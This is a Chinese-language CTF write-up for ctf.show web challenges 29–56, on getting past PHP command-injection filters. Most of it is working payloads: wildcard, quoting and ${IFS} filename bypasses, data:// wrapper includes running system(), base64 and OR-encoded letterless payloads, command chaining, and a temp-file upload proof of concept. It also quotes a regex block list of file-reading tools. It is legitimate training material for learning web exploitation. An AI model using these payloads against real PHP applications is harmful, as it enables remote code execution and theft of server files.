web 29------文件名过滤
严格过滤
过滤了flag,可见是文件名过滤,需要查看flag.php 或者flag.txt等文件
由于flag被过滤,需要进行文件名绕过,有以下几种方法:
1.通配符绕过 fla?.*
2.反斜杠绕过 fl\ag.php
3.双引号绕过 fl''ag''.php
还有特殊变量$1、内联执行等
此外 读取文件利用cat函数,输出利用system、passthru
再查看源代码,得到flag
web30-----函数过滤
过滤了函数system和文件名
system不能使用,使用passthru
内部参数同web29, cat fla?.p\hp
get传参输入
查看源代码,得到flag
web31
在之前的基础上还过滤了 cat . ' 空格
cat可以使用tac代替。 tac指反向显示文件,即从最后一行往前显示。
此外,空格url编码为%20,发现无法得到结果
采用tab的url编码%09,实现绕过
.被过滤,则直接采用*,*表示多个字符,?表示一个字符
最终结果如下:
web32
在之前的基础上过滤了;
无法使用分号,可以使用php中的?>进行绕过,空格用%0a绕过
1.使用include文件包含函数上传一句话木马
使用data伪协议,得到目录名
data伪协议: data://text/plain,php执行命令
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?>
表示将目录名赋值给1,再输出1
2.利用php输出文件内容
3.查看源代码,得到flag
web33
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
web34
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
web35
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('cat flag.php');?>
web36
0-9数字被过滤,使用字母替换即可
?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system('cat flag.php');?>
web37
考查的是文件包含,过滤了flag,可知要查找的flag在flag.php文件中。
还是使用data伪协议,由于flag被过滤,使用*代替:
https://284bbaca-a7a7-4227-9e1c-44e4c55ae5c1.challenge.ctf.show/?c=data://text/plain,<?php system('cat *php')?>
最终输出所有文件名含php的文件内容
右键查看源代码,得到flag
web38
php flag都被过滤,考虑对php命令进行编码
<?php system('cat flag.php') ?>
使用hackbar自带的base64编码
data伪协议 ?c=data://text/plain;base64,编码后的内容
最终输入
http://2d1d644d-6e79-4865-9d8b-2732fd4f22af.challenge.ctf.show/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA/Pg==
web39
输入值会在末尾添加 .php 使用#注释符注释掉即可
https://d27a5c54-a65e-4bc1-b6a0-71a3b518dcf3.challenge.ctf.show/?c=data://text/plain,<?php system('cat *.php')?>#
发现不使用#也能访问,因为?>就代表了语句的结束
https://d27a5c54-a65e-4bc1-b6a0-71a3b518dcf3.challenge.ctf.show/?c=data://text/plain,<?php system('cat *.php')?>
web40
许多符号都不能使用,说明这是无参数的命令执行,需要采用http请求头等方法。
要注意,其中被过滤的括号是中文括号()
HTTP请求头(php 7.3以上版本可以使用)
?c=print_r(getallheaders());
利用bp 修改connection参数,请求print_r(pos(getallheaders())); 没有输出。
说明该题禁止了对请求头的修改。
则尝试利用全局变量
需要用到get_defined_vars()函数 返回所有已定义的变量所组成的数组
url+?c=print_r(get_defined_vars()); 得到以下变量:
url+?cmd=system("ls");&c=print(pos(pos(get_defined_vars())));
先传入cmd,pos表示返回第一行内容。返回:
将print_r修改成eval,执行system语句,得到文件名:
读取文件内容:
?cmd=system("tac flag.php");&c=eval(pos(pos(get_defined_vars())));
得到flag
web41
第一种方法 直接使用羽神的脚本,得到flag值
这题过滤了数字字母异或运算等字符,属于无数字字母的过滤。会发现| 或运算符没有被过滤,那么可以利用脚本找到ASCII码0-255的字符使用或运算得到我们想要的字符,从而利用命令行进行命令执行。
第二种方法,
system('cat flag.php')=
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60") 得到异或运算后,使用bp进行POST传参。
bp POST传参,要注意三点:
1.第一行更改GET为POST;
2.加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3.末尾加上参数c的值
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
web42
表示get方式输入c 会在c后添加 >/dev/null 2>&1 ,再放入system()函数中。
>/dev/null 2>&1是一个 shell 重定向操作,命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null,即被丢弃,就是指,无论有输出还是没有输出,都不会回显。所以,我们在输入时可以使 >/dev/null 2>&1被注释或者不执行。
操作系统的链接符:
?c=ls| |把前面命令的输出当作后面那条命令的参数,最终只显示最终结果
?c=ls|| ||前面命令成功,后面命令不执行;前面不成功,后面命令执行
?c=ls& &两条命令都会执行
?c=ls&& &&前一条命令执行成功,才会执行后面
?c=ls; ;分为多条语句按序执行
再将命令换为cat flag.php 即可
注:使用 && 和&,需要进行url编码。
web43
在上一题的基础上过滤了cat ;
不能使用;,使用其他的符号,tac替代cat访问文件内容。
?c=tac flag.php||
?c=tac flag.php%26%26等
web44
在之前的基础上不能使用flag,我们可以使用*或者????绕过。
/?c=tac *.php||
web45
在之前的基础上过滤了空格,尝试使用url编码空格:%0a,无法绕过。
尝试换行符的url编码%09,成功绕过得到flag。
/?c=tac%09*.php%26%26
web46、web47、web48、web49
*不能使用,那么使用?: fla?.php
/?c=tac%09fla?.php||
web50
%09不能使用了,使用其他方法进行空格绕过,例如重定向字符 < 、<>
使用?,被过滤。使用‘’或者“”防止flag被过滤。
?c=tac<fla''g.php||
web51
tac也被过滤,采用相同方法 ta''c即可
/?c=ta''c<fla''g.php||
web52
<>被过滤,空格被过滤还可以使用${IFS}进行空格绕过
/?c=ta''c${IFS}fla''g.php||
显示需要访问变量flag
?c=ta\c${IFS}/fla''g||
web53
查看代码:输入c的值,然后放入system()函数,赋值给d,再输出<br>.d的值。
首先查看目录,该题没有添加后缀,所以不用使用||等。
/?c=ls
得到文件flag.php
?c=ca\t${IFS}fla\g.php
得到flag
web54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
以上读取文件命令以及一些符号不能使用,并且只有输入命令含有cat等字符,即使使用‘’ \都无法绕过。
替代cat读取文件内容的函数:
tac 从最后一行往前显示
more 一页一页显示内容
less 相当于more
tail 查看末尾几行
nl 显示时加上行号
od 以二进制方式读取
xxd 左边显示二进制,右边显示编码
sort 用于排序文件
/?c=xxd${IFS}fla?.php 查看源代码
可见右侧显示flag信息。
web55
过滤了字母等
于是我尝试使用或运算,由多个不被过滤的字符组成两个字符串相或,得到想执行的 cat flag.php命令。尝试后发现页面无反应,个人认为是因为源代码没有eval(system($))。
查看网上其他大佬的做法,
首先,/bin/base64 flag.php
/bin/base64 是Linux中的一个命令行工具,对文件内容进行base64编码。通过这个命令可以间接读取flag.php文件。
但字母还是会被过滤,所以采用通配符?绕过过滤。
输入 ?c=/???/????64 ????.???
可以直接使用相关工具进行base64解码得到flag
也可以利用以下方法,直接获取flag.php文件
/usr/bin/bzip2 flag.php 表示将flag.php进行压缩操作
再输入 ?c=/???/???/????2 ????.???
然后读取flag.php.bz2
再再输入 /flag.php.bz2
得到flag.php.bz2 文件,打开后得到flag.
题目给了这位大佬的答题方法,主要采用的是临时文件上传的方法
无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-优快云博客 无字母数字的命令执行(ctfshow web入门 56)-优快云博客
web56
该题还过滤了数字,无法使用上题的方法,只能使用临时文件上传
在vs code 中运行以下代码,要注意修改自己的答题地址
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://c7ff90dd-448c-436b-880f-a6d21249b1a3.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
运行后,在网页上上传文件
新建一个txt文件,文件内容如下:
再修改文件名后缀为.php
上传时,要使用bp进行抓包
修改POST传参值为
/?c=.%20/???/????????[@-[]
最后点击send,在左边得到flag